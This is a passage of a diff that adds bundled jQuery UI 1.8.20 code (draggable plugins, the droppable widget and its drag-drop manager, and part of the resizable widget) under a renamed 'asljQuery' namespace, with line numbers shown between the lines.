+ }
1386
+ });
1387
+
1388
+ $.ui.plugin.add("draggable", "opacity", {
1389
+ start: function(event, ui) {
1390
+ var t = $(ui.helper), o = $(this).data('draggable').options;
1391
+ if(t.css("opacity")) o._opacity = t.css("opacity");
1392
+ t.css('opacity', o.opacity);
1393
+ },
1394
+ stop: function(event, ui) {
1395
+ var o = $(this).data('draggable').options;
1396
+ if(o._opacity) $(ui.helper).css('opacity', o._opacity);
1397
+ }
1398
+ });
1399
+
1400
+ $.ui.plugin.add("draggable", "scroll", {
1401
+ start: function(event, ui) {
1402
+ var i = $(this).data("draggable");
1403
+ if(i.scrollParent[0] != document && i.scrollParent[0].tagName != 'HTML') i.overflowOffset = i.scrollParent.offset();
1404
+ },
1405
+ drag: function(event, ui) {
1406
+
1407
+ var i = $(this).data("draggable"), o = i.options, scrolled = false;
1408
+
1409
+ if(i.scrollParent[0] != document && i.scrollParent[0].tagName != 'HTML') {
1410
+
1411
+ if(!o.axis || o.axis != 'x') {
1412
+ if((i.overflowOffset.top + i.scrollParent[0].offsetHeight) - event.pageY < o.scrollSensitivity)
1413
+ i.scrollParent[0].scrollTop = scrolled = i.scrollParent[0].scrollTop + o.scrollSpeed;
1414
+ else if(event.pageY - i.overflowOffset.top < o.scrollSensitivity)
1415
+ i.scrollParent[0].scrollTop = scrolled = i.scrollParent[0].scrollTop - o.scrollSpeed;
1416
+ }
1417
+
1418
+ if(!o.axis || o.axis != 'y') {
1419
+ if((i.overflowOffset.left + i.scrollParent[0].offsetWidth) - event.pageX < o.scrollSensitivity)
1420
+ i.scrollParent[0].scrollLeft = scrolled = i.scrollParent[0].scrollLeft + o.scrollSpeed;
1421
+ else if(event.pageX - i.overflowOffset.left < o.scrollSensitivity)
1422
+ i.scrollParent[0].scrollLeft = scrolled = i.scrollParent[0].scrollLeft - o.scrollSpeed;
1423
+ }
1424
+
1425
+ } else {
1426
+
1427
+ if(!o.axis || o.axis != 'x') {
1428
+ if(event.pageY - $(document).scrollTop() < o.scrollSensitivity)
1429
+ scrolled = $(document).scrollTop($(document).scrollTop() - o.scrollSpeed);
1430
+ else if($(window).height() - (event.pageY - $(document).scrollTop()) < o.scrollSensitivity)
1431
+ scrolled = $(document).scrollTop($(document).scrollTop() + o.scrollSpeed);
1432
+ }
1433
+
1434
+ if(!o.axis || o.axis != 'y') {
1435
+ if(event.pageX - $(document).scrollLeft() < o.scrollSensitivity)
1436
+ scrolled = $(document).scrollLeft($(document).scrollLeft() - o.scrollSpeed);
1437
+ else if($(window).width() - (event.pageX - $(document).scrollLeft()) < o.scrollSensitivity)
1438
+ scrolled = $(document).scrollLeft($(document).scrollLeft() + o.scrollSpeed);
1439
+ }
1440
+
1441
+ }
1442
+
1443
+ if(scrolled !== false && $.ui.ddmanager && !o.dropBehaviour)
1444
+ $.ui.ddmanager.prepareOffsets(i, event);
1445
+
1446
+ }
1447
+ });
1448
+
1449
+ $.ui.plugin.add("draggable", "snap", {
1450
+ start: function(event, ui) {
1451
+
1452
+ var i = $(this).data("draggable"), o = i.options;
1453
+ i.snapElements = [];
1454
+
1455
+ $(o.snap.constructor != String ? ( o.snap.items || ':data(draggable)' ) : o.snap).each(function() {
1456
+ var $t = $(this); var $o = $t.offset();
1457
+ if(this != i.element[0]) i.snapElements.push({
1458
+ item: this,
1459
+ width: $t.outerWidth(), height: $t.outerHeight(),
1460
+ top: $o.top, left: $o.left
1461
+ });
1462
+ });
1463
+
1464
+ },
1465
+ drag: function(event, ui) {
1466
+
1467
+ var inst = $(this).data("draggable"), o = inst.options;
1468
+ var d = o.snapTolerance;
1469
+
1470
+ var x1 = ui.offset.left, x2 = x1 + inst.helperProportions.width,
1471
+ y1 = ui.offset.top, y2 = y1 + inst.helperProportions.height;
1472
+
1473
+ for (var i = inst.snapElements.length - 1; i >= 0; i--){
1474
+
1475
+ var l = inst.snapElements[i].left, r = l + inst.snapElements[i].width,
1476
+ t = inst.snapElements[i].top, b = t + inst.snapElements[i].height;
1477
+
1478
+ //Yes, I know, this is insane ;)
1479
+ if(!((l-d < x1 && x1 < r+d && t-d < y1 && y1 < b+d) || (l-d < x1 && x1 < r+d && t-d < y2 && y2 < b+d) || (l-d < x2 && x2 < r+d && t-d < y1 && y1 < b+d) || (l-d < x2 && x2 < r+d && t-d < y2 && y2 < b+d))) {
1480
+ if(inst.snapElements[i].snapping) (inst.options.snap.release && inst.options.snap.release.call(inst.element, event, $.extend(inst._uiHash(), { snapItem: inst.snapElements[i].item })));
1481
+ inst.snapElements[i].snapping = false;
1482
+ continue;
1483
+ }
1484
+
1485
+ if(o.snapMode != 'inner') {
1486
+ var ts = Math.abs(t - y2) <= d;
1487
+ var bs = Math.abs(b - y1) <= d;
1488
+ var ls = Math.abs(l - x2) <= d;
1489
+ var rs = Math.abs(r - x1) <= d;
1490
+ if(ts) ui.position.top = inst._convertPositionTo("relative", { top: t - inst.helperProportions.height, left: 0 }).top - inst.margins.top;
1491
+ if(bs) ui.position.top = inst._convertPositionTo("relative", { top: b, left: 0 }).top - inst.margins.top;
1492
+ if(ls) ui.position.left = inst._convertPositionTo("relative", { top: 0, left: l - inst.helperProportions.width }).left - inst.margins.left;
1493
+ if(rs) ui.position.left = inst._convertPositionTo("relative", { top: 0, left: r }).left - inst.margins.left;
1494
+ }
1495
+
1496
+ var first = (ts || bs || ls || rs);
1497
+
1498
+ if(o.snapMode != 'outer') {
1499
+ var ts = Math.abs(t - y1) <= d;
1500
+ var bs = Math.abs(b - y2) <= d;
1501
+ var ls = Math.abs(l - x1) <= d;
1502
+ var rs = Math.abs(r - x2) <= d;
1503
+ if(ts) ui.position.top = inst._convertPositionTo("relative", { top: t, left: 0 }).top - inst.margins.top;
1504
+ if(bs) ui.position.top = inst._convertPositionTo("relative", { top: b - inst.helperProportions.height, left: 0 }).top - inst.margins.top;
1505
+ if(ls) ui.position.left = inst._convertPositionTo("relative", { top: 0, left: l }).left - inst.margins.left;
1506
+ if(rs) ui.position.left = inst._convertPositionTo("relative", { top: 0, left: r - inst.helperProportions.width }).left - inst.margins.left;
1507
+ }
1508
+
1509
+ if(!inst.snapElements[i].snapping && (ts || bs || ls || rs || first))
1510
+ (inst.options.snap.snap && inst.options.snap.snap.call(inst.element, event, $.extend(inst._uiHash(), { snapItem: inst.snapElements[i].item })));
1511
+ inst.snapElements[i].snapping = (ts || bs || ls || rs || first);
1512
+
1513
+ };
1514
+
1515
+ }
1516
+ });
1517
+
1518
+ $.ui.plugin.add("draggable", "stack", {
1519
+ start: function(event, ui) {
1520
+
1521
+ var o = $(this).data("draggable").options;
1522
+
1523
+ var group = $.makeArray($(o.stack)).sort(function(a,b) {
1524
+ return (parseInt($(a).css("zIndex"),10) || 0) - (parseInt($(b).css("zIndex"),10) || 0);
1525
+ });
1526
+ if (!group.length) { return; }
1527
+
1528
+ var min = parseInt(group[0].style.zIndex) || 0;
1529
+ $(group).each(function(i) {
1530
+ this.style.zIndex = min + i;
1531
+ });
1532
+
1533
+ this[0].style.zIndex = min + group.length;
1534
+
1535
+ }
1536
+ });
1537
+
1538
+ $.ui.plugin.add("draggable", "zIndex", {
1539
+ start: function(event, ui) {
1540
+ var t = $(ui.helper), o = $(this).data("draggable").options;
1541
+ if(t.css("zIndex")) o._zIndex = t.css("zIndex");
1542
+ t.css('zIndex', o.zIndex);
1543
+ },
1544
+ stop: function(event, ui) {
1545
+ var o = $(this).data("draggable").options;
1546
+ if(o._zIndex) $(ui.helper).css('zIndex', o._zIndex);
1547
+ }
1548
+ });
1549
+
1550
+ })(asljQuery);
1551
+
1552
+ (function( $, undefined ) {
1553
+
1554
+ $.widget("ui.droppable", {
1555
+ widgetEventPrefix: "drop",
1556
+ options: {
1557
+ accept: '*',
1558
+ activeClass: false,
1559
+ addClasses: true,
1560
+ greedy: false,
1561
+ hoverClass: false,
1562
+ scope: 'default',
1563
+ tolerance: 'intersect'
1564
+ },
1565
+ _create: function() {
1566
+
1567
+ var o = this.options, accept = o.accept;
1568
+ this.isover = 0; this.isout = 1;
1569
+
1570
+ this.accept = $.isFunction(accept) ? accept : function(d) {
1571
+ return d.is(accept);
1572
+ };
1573
+
1574
+ //Store the droppable's proportions
1575
+ this.proportions = { width: this.element[0].offsetWidth, height: this.element[0].offsetHeight };
1576
+
1577
+ // Add the reference and positions to the manager
1578
+ $.ui.ddmanager.droppables[o.scope] = $.ui.ddmanager.droppables[o.scope] || [];
1579
+ $.ui.ddmanager.droppables[o.scope].push(this);
1580
+
1581
+ (o.addClasses && this.element.addClass("ui-droppable"));
1582
+
1583
+ },
1584
+
1585
+ destroy: function() {
1586
+ var drop = $.ui.ddmanager.droppables[this.options.scope];
1587
+ for ( var i = 0; i < drop.length; i++ )
1588
+ if ( drop[i] == this )
1589
+ drop.splice(i, 1);
1590
+
1591
+ this.element
1592
+ .removeClass("ui-droppable ui-droppable-disabled")
1593
+ .removeData("droppable")
1594
+ .unbind(".droppable");
1595
+
1596
+ return this;
1597
+ },
1598
+
1599
+ _setOption: function(key, value) {
1600
+
1601
+ if(key == 'accept') {
1602
+ this.accept = $.isFunction(value) ? value : function(d) {
1603
+ return d.is(value);
1604
+ };
1605
+ }
1606
+ $.Widget.prototype._setOption.apply(this, arguments);
1607
+ },
1608
+
1609
+ _activate: function(event) {
1610
+ var draggable = $.ui.ddmanager.current;
1611
+ if(this.options.activeClass) this.element.addClass(this.options.activeClass);
1612
+ (draggable && this._trigger('activate', event, this.ui(draggable)));
1613
+ },
1614
+
1615
+ _deactivate: function(event) {
1616
+ var draggable = $.ui.ddmanager.current;
1617
+ if(this.options.activeClass) this.element.removeClass(this.options.activeClass);
1618
+ (draggable && this._trigger('deactivate', event, this.ui(draggable)));
1619
+ },
1620
+
1621
+ _over: function(event) {
1622
+
1623
+ var draggable = $.ui.ddmanager.current;
1624
+ if (!draggable || (draggable.currentItem || draggable.element)[0] == this.element[0]) return; // Bail if draggable and droppable are same element
1625
+
1626
+ if (this.accept.call(this.element[0],(draggable.currentItem || draggable.element))) {
1627
+ if(this.options.hoverClass) this.element.addClass(this.options.hoverClass);
1628
+ this._trigger('over', event, this.ui(draggable));
1629
+ }
1630
+
1631
+ },
1632
+
1633
+ _out: function(event) {
1634
+
1635
+ var draggable = $.ui.ddmanager.current;
1636
+ if (!draggable || (draggable.currentItem || draggable.element)[0] == this.element[0]) return; // Bail if draggable and droppable are same element
1637
+
1638
+ if (this.accept.call(this.element[0],(draggable.currentItem || draggable.element))) {
1639
+ if(this.options.hoverClass) this.element.removeClass(this.options.hoverClass);
1640
+ this._trigger('out', event, this.ui(draggable));
1641
+ }
1642
+
1643
+ },
1644
+
1645
+ _drop: function(event,custom) {
1646
+
1647
+ var draggable = custom || $.ui.ddmanager.current;
1648
+ if (!draggable || (draggable.currentItem || draggable.element)[0] == this.element[0]) return false; // Bail if draggable and droppable are same element
1649
+
1650
+ var childrenIntersection = false;
1651
+ this.element.find(":data(droppable)").not(".ui-draggable-dragging").each(function() {
1652
+ var inst = $.data(this, 'droppable');
1653
+ if(
1654
+ inst.options.greedy
1655
+ && !inst.options.disabled
1656
+ && inst.options.scope == draggable.options.scope
1657
+ && inst.accept.call(inst.element[0], (draggable.currentItem || draggable.element))
1658
+ && $.ui.intersect(draggable, $.extend(inst, { offset: inst.element.offset() }), inst.options.tolerance)
1659
+ ) { childrenIntersection = true; return false; }
1660
+ });
1661
+ if(childrenIntersection) return false;
1662
+
1663
+ if(this.accept.call(this.element[0],(draggable.currentItem || draggable.element))) {
1664
+ if(this.options.activeClass) this.element.removeClass(this.options.activeClass);
1665
+ if(this.options.hoverClass) this.element.removeClass(this.options.hoverClass);
1666
+ this._trigger('drop', event, this.ui(draggable));
1667
+ return this.element;
1668
+ }
1669
+
1670
+ return false;
1671
+
1672
+ },
1673
+
1674
+ ui: function(c) {
1675
+ return {
1676
+ draggable: (c.currentItem || c.element),
1677
+ helper: c.helper,
1678
+ position: c.position,
1679
+ offset: c.positionAbs
1680
+ };
1681
+ }
1682
+
1683
+ });
1684
+
1685
+ $.extend($.ui.droppable, {
1686
+ version: "1.8.20"
1687
+ });
1688
+
1689
+ $.ui.intersect = function(draggable, droppable, toleranceMode) {
1690
+
1691
+ if (!droppable.offset) return false;
1692
+
1693
+ var x1 = (draggable.positionAbs || draggable.position.absolute).left, x2 = x1 + draggable.helperProportions.width,
1694
+ y1 = (draggable.positionAbs || draggable.position.absolute).top, y2 = y1 + draggable.helperProportions.height;
1695
+ var l = droppable.offset.left, r = l + droppable.proportions.width,
1696
+ t = droppable.offset.top, b = t + droppable.proportions.height;
1697
+
1698
+ switch (toleranceMode) {
1699
+ case 'fit':
1700
+ return (l <= x1 && x2 <= r
1701
+ && t <= y1 && y2 <= b);
1702
+ break;
1703
+ case 'intersect':
1704
+ return (l < x1 + (draggable.helperProportions.width / 2) // Right Half
1705
+ && x2 - (draggable.helperProportions.width / 2) < r // Left Half
1706
+ && t < y1 + (draggable.helperProportions.height / 2) // Bottom Half
1707
+ && y2 - (draggable.helperProportions.height / 2) < b ); // Top Half
1708
+ break;
1709
+ case 'pointer':
1710
+ var draggableLeft = ((draggable.positionAbs || draggable.position.absolute).left + (draggable.clickOffset || draggable.offset.click).left),
1711
+ draggableTop = ((draggable.positionAbs || draggable.position.absolute).top + (draggable.clickOffset || draggable.offset.click).top),
1712
+ isOver = $.ui.isOver(draggableTop, draggableLeft, t, l, droppable.proportions.height, droppable.proportions.width);
1713
+ return isOver;
1714
+ break;
1715
+ case 'touch':
1716
+ return (
1717
+ (y1 >= t && y1 <= b) || // Top edge touching
1718
+ (y2 >= t && y2 <= b) || // Bottom edge touching
1719
+ (y1 < t && y2 > b) // Surrounded vertically
1720
+ ) && (
1721
+ (x1 >= l && x1 <= r) || // Left edge touching
1722
+ (x2 >= l && x2 <= r) || // Right edge touching
1723
+ (x1 < l && x2 > r) // Surrounded horizontally
1724
+ );
1725
+ break;
1726
+ default:
1727
+ return false;
1728
+ break;
1729
+ }
1730
+
1731
+ };
1732
+
1733
+ /*
1734
+ This manager tracks offsets of draggables and droppables
1735
+ */
1736
+ $.ui.ddmanager = {
1737
+ current: null,
1738
+ droppables: { 'default': [] },
1739
+ prepareOffsets: function(t, event) {
1740
+
1741
+ var m = $.ui.ddmanager.droppables[t.options.scope] || [];
1742
+ var type = event ? event.type : null; // workaround for #2317
1743
+ var list = (t.currentItem || t.element).find(":data(droppable)").andSelf();
1744
+
1745
+ droppablesLoop: for (var i = 0; i < m.length; i++) {
1746
+
1747
+ if(m[i].options.disabled || (t && !m[i].accept.call(m[i].element[0],(t.currentItem || t.element)))) continue; //No disabled and non-accepted
1748
+ for (var j=0; j < list.length; j++) { if(list[j] == m[i].element[0]) { m[i].proportions.height = 0; continue droppablesLoop; } }; //Filter out elements in the current dragged item
1749
+ m[i].visible = m[i].element.css("display") != "none"; if(!m[i].visible) continue; //If the element is not visible, continue
1750
+
1751
+ if(type == "mousedown") m[i]._activate.call(m[i], event); //Activate the droppable if used directly from draggables
1752
+
1753
+ m[i].offset = m[i].element.offset();
1754
+ m[i].proportions = { width: m[i].element[0].offsetWidth, height: m[i].element[0].offsetHeight };
1755
+
1756
+ }
1757
+
1758
+ },
1759
+ drop: function(draggable, event) {
1760
+
1761
+ var dropped = false;
1762
+ $.each($.ui.ddmanager.droppables[draggable.options.scope] || [], function() {
1763
+
1764
+ if(!this.options) return;
1765
+ if (!this.options.disabled && this.visible && $.ui.intersect(draggable, this, this.options.tolerance))
1766
+ dropped = this._drop.call(this, event) || dropped;
1767
+
1768
+ if (!this.options.disabled && this.visible && this.accept.call(this.element[0],(draggable.currentItem || draggable.element))) {
1769
+ this.isout = 1; this.isover = 0;
1770
+ this._deactivate.call(this, event);
1771
+ }
1772
+
1773
+ });
1774
+ return dropped;
1775
+
1776
+ },
1777
+ dragStart: function( draggable, event ) {
1778
+ //Listen for scrolling so that if the dragging causes scrolling the position of the droppables can be recalculated (see #5003)
1779
+ draggable.element.parents( ":not(body,html)" ).bind( "scroll.droppable", function() {
1780
+ if( !draggable.options.refreshPositions ) $.ui.ddmanager.prepareOffsets( draggable, event );
1781
+ });
1782
+ },
1783
+ drag: function(draggable, event) {
1784
+
1785
+ //If you have a highly dynamic page, you might try this option. It renders positions every time you move the mouse.
1786
+ if(draggable.options.refreshPositions) $.ui.ddmanager.prepareOffsets(draggable, event);
1787
+
1788
+ //Run through all droppables and check their positions based on specific tolerance options
1789
+ $.each($.ui.ddmanager.droppables[draggable.options.scope] || [], function() {
1790
+
1791
+ if(this.options.disabled || this.greedyChild || !this.visible) return;
1792
+ var intersects = $.ui.intersect(draggable, this, this.options.tolerance);
1793
+
1794
+ var c = !intersects && this.isover == 1 ? 'isout' : (intersects && this.isover == 0 ? 'isover' : null);
1795
+ if(!c) return;
1796
+
1797
+ var parentInstance;
1798
+ if (this.options.greedy) {
1799
+ var parent = this.element.parents(':data(droppable):eq(0)');
1800
+ if (parent.length) {
1801
+ parentInstance = $.data(parent[0], 'droppable');
1802
+ parentInstance.greedyChild = (c == 'isover' ? 1 : 0);
1803
+ }
1804
+ }
1805
+
1806
+ // we just moved into a greedy child
1807
+ if (parentInstance && c == 'isover') {
1808
+ parentInstance['isover'] = 0;
1809
+ parentInstance['isout'] = 1;
1810
+ parentInstance._out.call(parentInstance, event);
1811
+ }
1812
+
1813
+ this[c] = 1; this[c == 'isout' ? 'isover' : 'isout'] = 0;
1814
+ this[c == "isover" ? "_over" : "_out"].call(this, event);
1815
+
1816
+ // we just moved out of a greedy child
1817
+ if (parentInstance && c == 'isout') {
1818
+ parentInstance['isout'] = 0;
1819
+ parentInstance['isover'] = 1;
1820
+ parentInstance._over.call(parentInstance, event);
1821
+ }
1822
+ });
1823
+
1824
+ },
1825
+ dragStop: function( draggable, event ) {
1826
+ draggable.element.parents( ":not(body,html)" ).unbind( "scroll.droppable" );
1827
+ //Call prepareOffsets one final time since IE does not fire return scroll events when overflow was caused by drag (see #5003)
1828
+ if( !draggable.options.refreshPositions ) $.ui.ddmanager.prepareOffsets( draggable, event );
1829
+ }
1830
+ };
1831
+
1832
+ })(asljQuery);
1833
+
1834
+ (function( $, undefined ) {
1835
+
1836
+ $.widget("ui.resizable", $.ui.mouse, {
1837
+ widgetEventPrefix: "resize",
1838
+ options: {
1839
+ alsoResize: false,
1840
+ animate: false,
1841
+ animateDuration: "slow",
1842
+ animateEasing: "swing",
1843
+ aspectRatio: false,
1844
+ autoHide: false,
1845
+ containment: false,
1846
+ ghost: false,
1847
+ grid: false,
1848
+ handles: "e,s,se",
1849
+ helper: false,
1850
+ maxHeight: null,
1851
+ maxWidth: null,
1852
+ minHeight: 10,
1853
+ minWidth: 10,
1854
+ zIndex: 1000
1855
+ },
1856
+ _create: function() {
1857
+
1858
+ var self = this, o = this.options;
1859
+ this.element.addClass("ui-resizable");
1860
+
1861
+ $.extend(this, {
1862
+ _aspectRatio: !!(o.aspectRatio),
1863
+ aspectRatio: o.aspectRatio,
1864
+ originalElement: this.element,
1865
+ _proportionallyResizeElements: [],
1866
+ _helper: o.helper || o.ghost || o.animate ? o.helper || 'ui-resizable-helper' : null
1867
+ });
1868
+
1869
+ //Wrap the element if it cannot hold child nodes
1870
+ if(this.element[0].nodeName.match(/canvas|textarea|input|select|button|img/i)) {
1871
+
1872
+ //Create a wrapper element and set the wrapper to the new current internal element
1873
+ this.element.wrap(
1874
+ $('<div class="ui-wrapper" style="overflow: hidden;"></div>').css({
1875
+ position: this.element.css('position'),
1876
+ width: this.element.outerWidth(),
1877
+ height: this.element.outerHeight(),
1878
+ top: this.element.css('top'),
1879
+ left: this.element.css('left')
1880
+ })
1881
+ );
1882
+
1883
+ //Overwrite the original this.element
1884
+ this.element = this.element.parent().data(
1885
+ "resizable", this.element.data('resizable')
1886
+ );
1887
+
1888
+ this.elementIsWrapper = true;
1889
+
1890
+ //Move margins to the wrapper
1891
+ this.element.css({ marginLeft: this.originalElement.css("marginLeft"), marginTop: this.originalElement.css("marginTop"), marginRight: this.originalElement.css("marginRight"), marginBottom: this.originalElement.css("marginBottom") });
1892
+ this.originalElement.css({ marginLeft: 0, marginTop: 0, marginRight: 0, marginBottom: 0});
1893
+
1894
+ //Prevent Safari textarea resize
1895
+ this.originalResizeStyle = this.originalElement.css('resize');
1896
+ this.originalElement.css('resize', 'none');
1897
+
1898
+ //Push the actual element to our proportionallyResize internal array
1899
+ this._proportionallyResizeElements.push(this.originalElement.css({ position: 'static', zoom: 1, display: 'block' }));
1900
+
1901
+ // avoid IE jump (hard set the margin)
1902
+ this.originalElement.css({ margin: this.originalElement.css('margin') });
1903
+
1904
+ // fix handlers offset
1905
+ this._proportionallyResize();
1906
+
1907
+ }
1908
+
1909
+ this.handles = o.handles || (!$('.ui-resizable-handle', this.element).length ? "e,s,se" : { n: '.ui-resizable-n', e: '.ui-resizable-e', s: '.ui-resizable-s', w: '.ui-resizable-w', se: '.ui-resizable-se', sw: '.ui-resizable-sw', ne: '.ui-resizable-ne', nw: '.ui-resizable-nw' });
1910
+ if(this.handles.constructor == String) {
1911
+
1912
+ if(this.handles == 'all') this.handles = 'n,e,s,w,se,sw,ne,nw';
1913
+ var n = this.handles.split(","); this.handles = {};
1914
+
1915
+ for(var i = 0; i < n.length; i++) {
1916
+
1917
+ var handle = $.trim(n[i]), hname = 'ui-resizable-'+handle;
1918
+ var axis = $('<div class="ui-resizable-handle ' + hname + '"></div>');
1919
+
1920
+ // Apply zIndex to all handles - see #7960
1921
+ axis.css({ zIndex: o.zIndex });
1922
+
1923
+ //TODO : What's going on here?
1924
+ if ('se' == handle) {
1925
+ axis.addClass('ui-icon ui-icon-gripsmall-diagonal-se');
1926
+ };
1927
+
1928
+ //Insert into internal handles object and append to element
1929
+ this.handles[handle] = '.ui-resizable-'+handle;
1930
+ this.element.append(axis);
1931
+ }
1932
+
1933
+ }
1934
+
1935
+ this._renderAxis = function(target) {
1936
+
1937
+ target = target || this.element;
1938
+
1939
+ for(var i in this.handles) {
1940
+
1941
+ if(this.handles[i].constructor == String)
1942
+ this.handles[i] = $(this.handles[i], this.element).show();
1943
+
1944
+ //Apply pad to wrapper element, needed to fix axis position (textarea, inputs, scrolls)
1945
+ if (this.elementIsWrapper && this.originalElement[0].nodeName.match(/textarea|input|select|button/i)) {
1946
+
1947
+ var axis = $(this.handles[i], this.element), padWrapper = 0;
1948
+
1949
+ //Checking the correct pad and border
1950
+ padWrapper = /sw|ne|nw|se|n|s/.test(i) ? axis.outerHeight() : axis.outerWidth();
1951
+
1952
+ //The padding type i have to apply...
1953
+ var padPos = [ 'padding',
1954
+ /ne|nw|n/.test(i) ? 'Top' :
1955
+ /se|sw|s/.test(i) ? 'Bottom' :
1956
+ /^e$/.test(i) ? 'Right' : 'Left' ].join("");
1957
+
1958
+ target.css(padPos, padWrapper);
1959
+
1960
+ this._proportionallyResize();
1961
+
1962
+ }
1963
+
1964
+ //TODO: What's that good for? There's not anything to be executed left
1965
+ if(!$(this.handles[i]).length)
1966
+ continue;
1967
+
1968
+ }
1969
+ };
1970
+
1971
+ //TODO: make renderAxis a prototype function
1972
+ this._renderAxis(this.element);
1973
+
1974
+ this._handles = $('.ui-resizable-handle', this.element)
1975
+ .disableSelection();
1976
+
1977
+ //Matching axis name
1978
+ this._handles.mouseover(function() {
1979
+ if (!self.resizing) {
1980
+ if (this.className)
1981
+ var axis = this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i);
1982
+ //Axis, default = se
1983
+ self.axis = axis && axis[1] ? axis[1] : 'se';
1984
+ }
1985
+ });
1986
+
1987
+ //If we want to auto hide the elements
1988
+ if (o.autoHide) {
1989
+ this._handles.hide();
1990
+ $(this.element)
1991
+ .addClass("ui-resizable-autohide")
1992
+ .hover(function() {
1993
+ if (o.disabled) return;
1994
+ $(this).removeClass("ui-resizable-autohide");
1995
+ self._handles.show();
1996
+ },
1997
+ function(){
1998
+ if (o.disabled) return;
1999
+ if (!self.resizing) {
2000
+ $(this).addClass("ui-resizable-autohide");
2001
+ self._handles.hide();
2002
+ }
2003
+ });
2004
+ }
2005
+
2006
+ //Initialize the mouse interaction
2007
+ this._mouseInit();
2008
+
2009
+ },
2010
+
2011
+ destroy: function() {
2012
+
2013
+ this._mouseDestroy();
2014
+
2015
+ var _destroy = function(exp) {
2016
+ $(exp).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing")
2017
+ .removeData("resizable").unbind(".resizable").find('.ui-resizable-handle').remove();
2018
+ };
2019
+
2020
+ //TODO: Unwrap at same DOM position
2021
+ if (this.elementIsWrapper) {
2022
+ _destroy(this.element);
2023
+ var wrapper = this.element;
2024
+ wrapper.after(
2025
+ this.originalElement.css({
2026
+ position: wrapper.css('position'),
2027
+ width: wrapper.outerWidth(),
2028
+ height: wrapper.outerHeight(),
2029
+ top: wrapper.css('top'),
2030
+ left: wrapper.css('left')
2031
+ })
2032
+ ).remove();
2033
+ }
2034
+
2035
+ this.originalElement.css('resize', this.originalResizeStyle);
2036
+ _destroy(this.originalElement);
2037
+
2038
+ return this;
2039
+ },
2040
+
2041
+ _mouseCapture: function(event) {
2042
+ var handle = false;
2043
+ for (var i in this.handles) {
2044
+ if ($(this.handles[i])[0] == event.target) {
2045
+ handle = true;
2046
+ }
2047
+ }
2048
+
2049
+ return !this.options.disabled && handle;
2050
+ },
2051
+
2052
+ _mouseStart: function(event) {
2053
+
2054
+ var o = this.options, iniPos = this.element.position(), el = this.element;
2055
+
2056
+ this.resizing = true;
2057
+ this.documentScroll = { top: $(document).scrollTop(), left: $(document).scrollLeft() };
2058
+
2059
+ // bugfix for http://dev.jquery.com/ticket/1749
2060
+ if (el.is('.ui-draggable') || (/absolute/).test(el.css('position'))) {
2061
+ el.css({ position: 'absolute', top: iniPos.top, left: iniPos.left });
2062
+ }
2063
+
2064
+ this._renderProxy();
2065
+
2066
+ var curleft = num(this.helper.css('left')), curtop = num(this.helper.css('top'));
2067
+
2068
+ if (o.containment) {
2069
+ curleft += $(o.containment).scrollLeft() || 0;
2070
+ curtop += $(o.containment).scrollTop() || 0;
2071
+ }
2072
+
2073
+ //Store needed variables
2074
+ this.offset = this.helper.offset();
2075
+ this.position = { left: curleft, top: curtop };
2076
+ this.size = this._helper ? { width: el.outerWidth(), height: el.outerHeight() } : { width: el.width(), height: el.height() };
2077
+ this.originalSize = this._helper ? { width: el.outerWidth(), height: el.outerHeight() } : { width: el.width(), height: el.height() };
2078
+ this.originalPosition = { left: curleft, top: curtop };
2079
+ this.sizeDiff = { width: el.outerWidth() - el.width(), height: el.outerHeight() - el.height() };
2080
+ this.originalMousePosition = { left: event.pageX, top: event.pageY };
2081
+
2082
+ //Aspect Ratio
2083
+ this.aspectRatio = (typeof o.aspectRatio == 'number') ? o.aspectRatio : ((this.originalSize.width / this.originalSize.height) || 1);
2084
+
2085
+ var cursor = $('.ui-resizable-' + this.axis).css('cursor');
2086
+ $('body').css('cursor', cursor == 'auto' ? this.axis + '-resize' : cursor);
2087
+
2088
+ el.addClass("ui-resizable-resizing");
2089
+ this._propagate("start", event);
2090
+ return true;
2091
+ },
2092
+
2093
+ _mouseDrag: function(event) {
2094
+
2095
+ //Increase performance, avoid regex
2096
+ var el = this.helper, o = this.options, props = {},
2097
+ self = this, smp = this.originalMousePosition, a = this.axis;
2098
+
2099
+ var dx = (event.pageX-smp.left)||0, dy = (event.pageY-smp.top)||0;
2100
+ var trigger = this._change[a];
2101
+ if (!trigger) return false;
2102
+
2103
+ // Calculate the attrs that will be change
2104
+ var data = trigger.apply(this, [event, dx, dy]), ie6 = $.browser.msie && $.browser.version < 7, csdif = this.sizeDiff;
2105
+
2106
+ // Put this in the mouseDrag handler since the user can start pressing shift while resizing
2107
+ this._updateVirtualBoundaries(event.shiftKey);
2108
+ if (this._aspectRatio || event.shiftKey)
2109
+ data = this._updateRatio(data, event);
2110
+
2111
+ data = this._respectSize(data, event);
2112
+
2113
+ // plugins callbacks need to be called first
2114
+ this._propagate("resize", event);
2115
+
2116
+ el.css({
2117
+ top: this.position.top + "px", left: this.position.left + "px",
2118
+ width: this.size.width + "px", height: this.size.height + "px"
2119
+ });
2120
+
2121
+ if (!this._helper && this._proportionallyResizeElements.length)
2122
+ this._proportionallyResize();
2123
+
2124
+ this._updateCache(data);
2125
+
2126
+ // calling the user callback at the end
2127
+ this._trigger('resize', event, this.ui());
2128
+
2129
+ return false;
2130
+ },
2131
+
2132
+ _mouseStop: function(event) {
2133
+
2134
+ this.resizing = false;
2135
+ var o = this.options, self = this;
2136
+
2137
+ if(this._helper) {
2138
+ var pr = this._proportionallyResizeElements, ista = pr.length && (/textarea/i).test(pr[0].nodeName),
2139
+ soffseth = ista && $.ui.hasScroll(pr[0], 'left') /* TODO - jump height */ ? 0 : self.sizeDiff.height,
2140
+ soffsetw = ista ? 0 : self.sizeDiff.width;
2141
+
2142
+ var s = { width: (self.helper.width() - soffsetw), height: (self.helper.height() - soffseth) },
2143
+ left = (parseInt(self.element.css('left'), 10) + (self.position.left - self.originalPosition.left)) || null,
2144
+ top = (parseInt(self.element.css('top'), 10) + (self.position.top - self.originalPosition.top)) || null;
2145
+
2146
+ if (!o.animate)
2147
+ this.element.css($.extend(s, { top: top, left: left }));
2148
+
2149
+ self.helper.height(self.size.height);
2150
+ self.helper.width(self.size.width);
2151
+
2152
+ if (this._helper && !o.animate) this._proportionallyResize();
2153
+ }
2154
+
2155
+ $('body').css('cursor', 'auto');
2156
+
2157
+ this.element.removeClass("ui-resizable-resizing");
2158
+
2159
+ this._propagate("stop", event);
2160
+
2161
+ if (this._helper) this.helper.remove();
2162
+ return false;
2163
+
2164
+ },
2165
+
2166
+ _updateVirtualBoundaries: function(forceAspectRatio) {
2167
